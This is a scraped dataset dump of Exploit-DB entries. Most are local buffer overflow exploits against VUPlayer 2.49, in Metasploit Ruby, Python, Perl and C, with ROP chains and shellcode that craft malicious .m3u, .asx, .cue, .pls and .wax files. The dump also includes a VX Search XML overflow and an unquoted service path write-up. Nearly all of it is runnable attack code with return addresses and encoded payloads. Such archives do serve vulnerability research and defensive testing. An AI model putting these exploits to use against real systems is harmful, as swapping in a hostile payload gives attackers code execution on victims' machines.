deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16617
Description: VUPlayer - '.m3u' Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: vuplayer_m3u.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VUPlayer M3U Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack over flow in VUPlayer <= 2.49. When
					the application is used to open a specially crafted m3u file, an buffer is overwritten allowing
					for the execution of arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'CVE', '2006-6251' ],
					[ 'OSVDB', '31710' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00",
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'  =>  'True',
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'VUPlayer 2.49', { 'Ret' => 0x1010539f } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Aug 18 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME',   [ false, 'The file name.',  'msf.m3u']),
			], self.class)
	end

	def exploit

		m3u = rand_text_alpha_upper(2024)

		m3u[1012,4]  = [target.ret].pack('V')
		m3u[1016,12] = "\x90" * 12
		m3u[1028,payload.encoded.length] = payload.encoded

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(m3u)

	end

end
=begin
0:000> r eip
eip=68423768
0:000> !pattern_offset 2024
[Byakugan] Control of ecx at offset 996.
[Byakugan] Control of ebp at offset 1008.
[Byakugan] Control of eip at offset 1012.
0:000> d esp
0012ef44  [PII_REDACTED] [PII_REDACTED]  8Bh9Bi0Bi1Bi2Bi3
0012ef54  [PII_REDACTED] [PII_REDACTED]  Bi4Bi5Bi6Bi7Bi8B
0012ef64  6a423969 316a4230 42326a42 6a42336a  i9Bj0Bj1Bj2Bj3Bj
0012ef74  356a4234 42366a42 6a42376a 396a4238  4Bj5Bj6Bj7Bj8Bj9
0012ef84  42306b42 6b42316b 336b4232 42346b42  Bk0Bk1Bk2Bk3Bk4B
0012ef94  6b42356b 376b4236 42386b42 6c42396b  k5Bk6Bk7Bk8Bk9Bl
0:000> s -b 0x10100000 0x1010a000 ff e4
1010539f  ff e4 49 10 10 20 05 93-19 01 00 00 00 9c 53 10  ..I.. ........S.
0:000> u 0x1010539f L1
BASSWMA!BASSplugin+0xe9a:
1010539f ffe4            jmp     esp
=end
Exploit-DB #7715
Description: VUPlayer 2.49 - '.asx' 'HREF' Universal Buffer Overflow
Type: local
Platform: windows
Date: 2009-01-11
Author: His0k4

Exploit:
#usage: exploit.py
print "**************************************************************************"
print " VUPlayer 2.49 .ASX File (HREF) Universal Buffer Overflow\n"
print " Founder: aBo MoHaMeD"
print " exploit code: His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"
         	

header1 = (
			"\x3C\x41\x53\x58\x20\x56\x45\x52\x53\x49\x4F\x4E\x3D\x22\x33"
		    	"\x2E\x30\x22\x3E\x0A\x0A\x3C\x45\x4E\x54\x52\x59\x3E\x3C\x54"
			"\x49\x54\x4C\x45\x3E\x65\x78\x70\x6C\x6F\x69\x74\x3C\x2F\x54"
			"\x49\x54\x4C\x45\x3E\x0A\x3C\x52\x45\x46\x20\x48\x52\x45\x46"
			"\x3D\x22"
			)

header2 = (
			"\x2E\x61\x73\x66\x22\x2F\x3E\x0A\x3C\x2F\x45\x4E\x54\x52\x59"
			"\x3E\x3C\x2F\x41\x53\x58\x3E"
		   )
			
buff = "\x41" * 1012

EIP = "\xDF\x18\x02\x10" #universal address from bass.dll


nop = "\x90" * 19

# win32_exec -  EXITFUNC=seh CMD=notepad Size=349 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
	"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
	"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
	"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
	"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
	"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
	"\x42\x30\x42\x30\x42\x50\x4b\x58\x45\x54\x4e\x33\x4b\x58\x4e\x37"
	"\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x51\x4b\x58"
	"\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x58\x46\x33\x4b\x48"
	"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
	"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
	"\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x38"
	"\x4f\x35\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x44"
	"\x4b\x48\x4f\x45\x4e\x41\x41\x50\x4b\x4e\x4b\x48\x4e\x31\x4b\x48"
	"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x43"
	"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x43\x45\x38\x42\x4c\x4a\x57"
	"\x4e\x50\x4b\x58\x42\x34\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
	"\x4b\x48\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b"
	"\x42\x50\x42\x30\x42\x30\x4b\x38\x4a\x46\x4e\x53\x4f\x55\x41\x43"
	"\x48\x4f\x42\x36\x48\x45\x49\x38\x4a\x4f\x43\x38\x42\x4c\x4b\x47"
	"\x42\x45\x4a\x56\x42\x4f\x4c\x38\x46\x30\x4f\x45\x4a\x56\x4a\x49"
	"\x50\x4f\x4c\x38\x50\x50\x47\x45\x4f\x4f\x47\x4e\x50\x56\x4f\x36"
	"\x46\x47\x45\x46\x42\x37\x41\x46\x46\x46\x42\x30\x5a"
    )

exploit = header1 + buff + EIP + nop + shellcode + header2

try:
    out_file = open("exploit.asx",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-01-11]
Exploit-DB #7745
Description: VUPlayer 2.49 - '.asx' Universal Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-01-13
Author: Encrypt3d.M!nd

Exploit:
# VUPlayer 2.49 .ASX File (Universal) Local Buffer Overflow Exploit
# By:Encrypt3d.M!nd
#
# This is an exploit for this Proof of Concept:
# http://milw0rm.com/exploits/7709
# very easy one  :) 
#
# Well i've Sent this since the poc published but str0ke had a brain fart :)
#
# Greetz:Str0ke(God Bless You bro),-=Mizo=-,L!0N,El Mariachi,MiNi SpIder and all my friends
#
# Iam Iraqian...Not Arabian


header1 = (
"\x3C\x61\x73\x78\x20\x76\x65\x72\x73\x69\x6F\x6E\x20\x3D\x20"
"\x22\x33\x2E\x30\x22\x20\x3E\x0D\x0D\x0A\x3C\x65\x6E\x74\x72"
"\x79\x3E\x0D\x0D\x0A\x3C\x74\x69\x74\x6C\x65\x3E\x61\x72\x63"
"\x68\x20\x65\x6E\x65\x6D\x79\x2D\x6E\x65\x6D\x73\x69\x73\x2E"
"\x6D\x70\x33\x3C\x2F\x74\x69\x74\x6C\x65\x3E\x0D\x0D\x0A\x3C"
"\x72\x65\x66\x20\x68\x72\x65\x66\x20\x3D\x20")

header2 = (
"\x22\x20\x2F\x3E\x0D\x0A\x3C\x2F\x65\x6E\x74\x72\x79\x3E\x0D"
"\x0A\x3C\x2F\x61\x73\x78\x3E")

chars = "A" * 1012

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com

shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")

# Return Address is:0x100222C5 JMP ESP BASS.DLL -> Universal Address Thnx SKD

file=open('exp.asx','w')
file.write(header1+chars+"\xc5\x22\x02\x10"+"\x90"*25+shellcode+header2)
file.close()

# milw0rm.com [2009-01-13]
Exploit-DB #8138
Description: VUplayer 2.49 - '.cue' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-03-02
Author: Assed Edin

Exploit:
/*

  Author: Assed Edin
  E-mail: storms0uth@hotmail.com
  GreetS : Xcracker & SimO-s0ft & Ga3 Drari Wlad MArrakech ^_^ o Manssawch LycÃ©Ã© Hassan2 & Str0ke
  
*/



#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#define OFFSET 1012


char header1[]=     
"\x46\x49\x4c\x45\x20\x22";

char header2[]= 
"\x2e\x42\x49\x4e\x22\x20\x42\x49\x4e\x41\x52\x59\x0d\x0a\x20"
"\x54\x52\x41\x43\x4b\x20\x30\x31\x20\x4d\x4f\x44\x45\x31\x2f\x32"
"\x33\x35\x32\x0d\x0a\x20\x20\x20\x49\x4e\x44\x45\x58\x20\x30\x31"
"\x20\x30\x30\x3a\x30\x30\x3a\x30\x30";
//calc 343
char scode[]=
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08"
"\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7"
"\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb"
"\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f"
"\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4"
"\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6"
"\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09"
"\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea"
"\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86"
"\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";

char NOP[]="\x90\x90\x90\x90";
int main(int argc,char *argv[]){
  FILE *openfile;
  unsigned char *buffer;
  unsigned int RET =0x7c836960;
  int offset=0;
  printf("Coded By Assad edin (Sat0rA-Cr3w - Moroccan Hackers)\n");
  printf("Email : storms0uth@hotmail.com\n");
  if ((openfile=fopen("wa33.cue","wb"))==NULL){
                                            perror("Canot open file");
                                            }
  buffer = (unsigned char *) malloc (OFFSET+4+strlen(NOP)+strlen(scode));
  memset(buffer,0x90,OFFSET+4+strlen(NOP)+strlen(scode));
  offset=OFFSET;
  memcpy(buffer+offset,&RET,4);
  offset+=4;
  memcpy(buffer+offset,NOP,strlen(NOP));
  offset+=strlen(NOP);
  memcpy(buffer+offset,scode,strlen(scode));
  offset+=strlen(scode);
  fputs(header1,openfile);
  fputs(buffer,openfile);
  fputs(header2,openfile);
  fclose(openfile);
  free(buffer);
  return 0;
}

// milw0rm.com [2009-03-02]
Exploit-DB #9476
Description: VUPlayer 2.49 - '.m3u' Universal Buffer Overflow
Type: local
Platform: windows
Date: 2009-08-18
Author: mr_me

Exploit:
#!/usr/bin/env python
#
# VUPlayer <=2.49 .M3u Universal buffer overflow exploit
# Author: mr_me
# Download: http://vuplayer.com/
# Tested on Wind0ws XP SP3 and Vist@
#
# Thanks to my brother raWjaW ---> RESPECT! :)
#
# What do we see at crash time? ;)
# EAX 00000000
# ECX 41414141
# EDX 00000001
# EBX 00000111
# ESP 0012EEA8 ASCII "AAAAAAAAAAAAAAAAAA~
# EBP 41414141
# ESI 00000001
# EDI 0012F214 ASCII "AAAAAAAAAAAAAAAAAA~
# EIP 41414141
#
# 1010539f \x9f\x53\x10\x10 jmp esp in BASSWMA.dll universal

eip  = "\x9f\x53\x10\x10";
crash = "HTTP://" + "\x41" * 1005
nops = "\x90" * 20

# http://www.metasploit.com
# EXITFUNC=process, CMD=calc.exe
buf = ("\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41");

filler = "\xcc" * 20000
buffer = crash + eip + nops + buf + filler

print "[+] Building eviL .m3u file"
file = open('MrMes_wickEd_mix.m3u','w');
file.write(buffer);
file.close();
print "[+] Done"

# milw0rm.com [2009-08-18]
Exploit-DB #40172
Description: VUPlayer 2.49 - '.pls' File Stack Buffer Overflow (DEP Bypass)
Type: local
Platform: windows
Date: 2016-07-29
Author: vportal

Exploit:
#!/usr/bin/python

import os,sys

#Tested Windows 7 Home x86 & Windows 10 Home x86_x64

#badchars \x00\x0a\x1a\x20\x40
#msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -b "\x00\x0a\x1a\x20\x40" -f python

buf =  ""
buf += "\xbf\x3b\x99\xdd\xa3\xdb\xc4\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x33\x31\x78\x12\x03\x78\x12\x83\xfb\x9d\x3f"
buf += "\x56\x07\x75\x36\x99\xf7\x86\x29\x13\x12\xb7\x7b\x47"
buf += "\x57\xea\x4b\x03\x35\x07\x27\x41\xad\x9c\x45\x4e\xc2"
buf += "\x15\xe3\xa8\xed\xa6\xc5\x74\xa1\x65\x47\x09\xbb\xb9"
buf += "\xa7\x30\x74\xcc\xa6\x75\x68\x3f\xfa\x2e\xe7\x92\xeb"
buf += "\x5b\xb5\x2e\x0d\x8c\xb2\x0f\x75\xa9\x04\xfb\xcf\xb0"
buf += "\x54\x54\x5b\xfa\x4c\xde\x03\xdb\x6d\x33\x50\x27\x24"
buf += "\x38\xa3\xd3\xb7\xe8\xfd\x1c\x86\xd4\x52\x23\x27\xd9"
buf += "\xab\x63\x8f\x02\xde\x9f\xec\xbf\xd9\x5b\x8f\x1b\x6f"
buf += "\x7e\x37\xef\xd7\x5a\xc6\x3c\x81\x29\xc4\x89\xc5\x76"
buf += "\xc8\x0c\x09\x0d\xf4\x85\xac\xc2\x7d\xdd\x8a\xc6\x26"
buf += "\x85\xb3\x5f\x82\x68\xcb\x80\x6a\xd4\x69\xca\x98\x01"
buf += "\x0b\x91\xf6\xd4\x99\xaf\xbf\xd7\xa1\xaf\xef\xbf\x90"
buf += "\x24\x60\xc7\x2c\xef\xc5\x37\x67\xb2\x6f\xd0\x2e\x26"
buf += "\x32\xbd\xd0\x9c\x70\xb8\x52\x15\x08\x3f\x4a\x5c\x0d"
buf += "\x7b\xcc\x8c\x7f\x14\xb9\xb2\x2c\x15\xe8\xd0\xb3\x85"
buf += "\x70\x39\x56\x2e\x12\x45"

rop = "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll] 
rop += "\x5c\xe2\x60\x10" #ptr to &VirtualProtect() [IAT BASSMIDI.dll]
rop += "\xf1\xea\x01\x10" #MOV EAX,DWORD PTR DS:[EAX] # RTN [BASS.dll] 
rop += "\x50\x09\x03\x10" #XCHG EAX,ESI # RETN [BASS.dll]
rop += "\x0c\x80\x60\x10" #POP EBP # RETN 0x0C [BASSMIDI.dll]
rop += "\x9f\x53\x10\x10" #& jmp esp BASSWMA.dll
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll] 
rop += "\x90"*12
rop += "\xff\xfd\xff\xff" #201 in negative
rop += "\xb4\x4d\x01\x10" #NEG EAX # RETN [BASS.dll]
rop += "\x72\x2f\x03\x10" #XCHG EAX,EBX # RETN [BASS.dll] 
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll] 
rop += "\xc0\xff\xff\xff" #40 in negative
rop += "\xb4\x4d\x01\x10" #NEG EAX # RETN [BASS.dll]
rop += "\x6c\x8a\x03\x10" #XCHG EAX,EDX # RETN [BASS.dll]
rop += "\x07\x10\x10\x10" #POP ECX # RETN [BASSWMA.dll]
rop += "\x93\x83\x10\x10" #&Writable location [BASSWMA.dll]
rop += "\x04\xdc\x01\x10" #POP EDI # RETN [BASS.dll]
rop += "\x84\xa0\x03\x10" #RETN [BASS.dll]
rop += "\xe7\x5f\x01\x10" #POP EAX # RETN [BASS.dll] 
rop += "\x90"*4
rop += "\xa5\xd7\x01\x10" #PUSHAD # RETN [BASS.dll]


exploit = "\x41"*1012 + rop + "\x90"*8 + buf

print "len + " + str(len(rop))

file = open('/root/Desktop/exploit_development/VUPlayer/boom.pls','w')
file.write(exploit)
file.close()
Exploit-DB #7671
Description: VUPlayer 2.49 - '.wax' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-01-05
Author: Houssamix

Exploit:
#!/usr/bin/perl -w

# Author : Houssamix
# Download :  http://vuplayer.com/files/vuplayersetup.exe
# tested in windows pro Sp 2 (french)

# -- Viva Gazza -- Viva Palestine --

print "===================================================================== \n";
print "Author : Houssamix 						     \n";
print "===================================================================== \n";
print "VUPlayer v2.49 ( .wax file ) Local buffer overflow Exploit 	     \n";
print "file can be exploited :  (.wax)(.m3u)(.pls) 			     \n";	
print "===================================================================== \n\n";


my $overflow = "\x41" x 1012;
my $ret = "\x5D\x38\x82\x7C"; #call ESP from kernel32.dll       0x7C82385D
my $nop = "\x90" x 4;

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
"\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
"\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
"\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
"\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
"\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
"\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
"\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
"\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
"\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";


my $file="hsmx.m3u";

$exploit = $overflow.$ret.$nop.$shellcode;

open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $exploit ;


close($FILE);
print "$file has been created open it with vuplayer 2.49\n";

# milw0rm.com [2009-01-05]
Exploit-DB #50026
Description: VX Search 13.5.28 - 'Multiple' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-17
Author: Brian Rodriguez

Exploit:
# Exploit Title: VX Search 13.5.28 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 16-06-2021
# Vendor Homepage: https://www.vxsearch.com
# Software Links:
# https://www.vxsearch.com/setups_x64/vxsearchsrv_setup_v13.5.28_x64.exe
# https://www.vxsearch.com/setups_x64/vxsearchent_setup_v13.5.28_x64.exe
# Tested Version: 13.5.28
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

VX Search Server    VX Search Server   C:\Program Files\VX Search
Server\bin\vxsrchs.exe   Auto
VX Search Enterprise    VX Search Enterprise   C:\Program Files\VX Search
Enterprise\bin\vxsrchs.exe   Auto

C:\>sc qc "VX Search Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: VX Search Server
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\VX Search
Server\bin\vxsrchs.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : VX Search Server
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

C:\>sc qc "VX Search Enterprise"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: VX Search Enterprise
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\VX Search
Enterprise\bin\vxsrchs.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : VX Search Enterprise
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #42181
Description: VX Search Enterprise 9.7.18 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2017-06-15
Author: ScrR1pTK1dd13

Exploit:
import os
import struct

author = '''
   
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScR1pTK1dd13.slammer@gmail.com    # 
                ##############################################
   
# Exploit Title: VX Search Enterprise v9.7.18 Import Local Buffer Overflow Vuln.
# Date: 2017.06.15
# Exploit Author: Greg Priest
# Version: VX Search Enterprise v9.7.18
# Tested on: Windows7 x64 HUN/ENG Professional
'''
 
 

overflow = "A" * 1536
jmp_esp = "\x4E\x21\x1F\x65"
#"\x94\x21\x1C\x65"
shortjump = "\xEB\x55"
shellcode3= ("\xbe\x7a\x1f\x2d\x97\xda\xd5\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
            "\x30\x83\xc2\x04\x31\x72\x0f\x03\x72\x75\xfd\xd8\x6b\x61\x83"
            "\x23\x94\x71\xe4\xaa\x71\x40\x24\xc8\xf2\xf2\x94\x9a\x57\xfe"
            "\x5f\xce\x43\x75\x2d\xc7\x64\x3e\x98\x31\x4a\xbf\xb1\x02\xcd"
            "\x43\xc8\x56\x2d\x7a\x03\xab\x2c\xbb\x7e\x46\x7c\x14\xf4\xf5"
            "\x91\x11\x40\xc6\x1a\x69\x44\x4e\xfe\x39\x67\x7f\x51\x32\x3e"
            "\x5f\x53\x97\x4a\xd6\x4b\xf4\x77\xa0\xe0\xce\x0c\x33\x21\x1f"
            "\xec\x98\x0c\x90\x1f\xe0\x49\x16\xc0\x97\xa3\x65\x7d\xa0\x77"
            "\x14\x59\x25\x6c\xbe\x2a\x9d\x48\x3f\xfe\x78\x1a\x33\x4b\x0e"
            "\x44\x57\x4a\xc3\xfe\x63\xc7\xe2\xd0\xe2\x93\xc0\xf4\xaf\x40"
            "\x68\xac\x15\x26\x95\xae\xf6\x97\x33\xa4\x1a\xc3\x49\xe7\x70"
            "\x12\xdf\x9d\x36\x14\xdf\x9d\x66\x7d\xee\x16\xe9\xfa\xef\xfc"
            "\x4e\xf4\xa5\x5d\xe6\x9d\x63\x34\xbb\xc3\x93\xe2\xff\xfd\x17"
            "\x07\x7f\xfa\x08\x62\x7a\x46\x8f\x9e\xf6\xd7\x7a\xa1\xa5\xd8"
            "\xae\xc2\x28\x4b\x32\x05")

crash = overflow+jmp_esp+"\x90"*24+shortjump+"\x90"*76+"\x90" * 58+shellcode3

evil = '<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + crash + '\n</classify>'
exploit = open('Magic.xml', 'w')
exploit.write(evil)
exploit.close()

print "Magic.xml raedy!"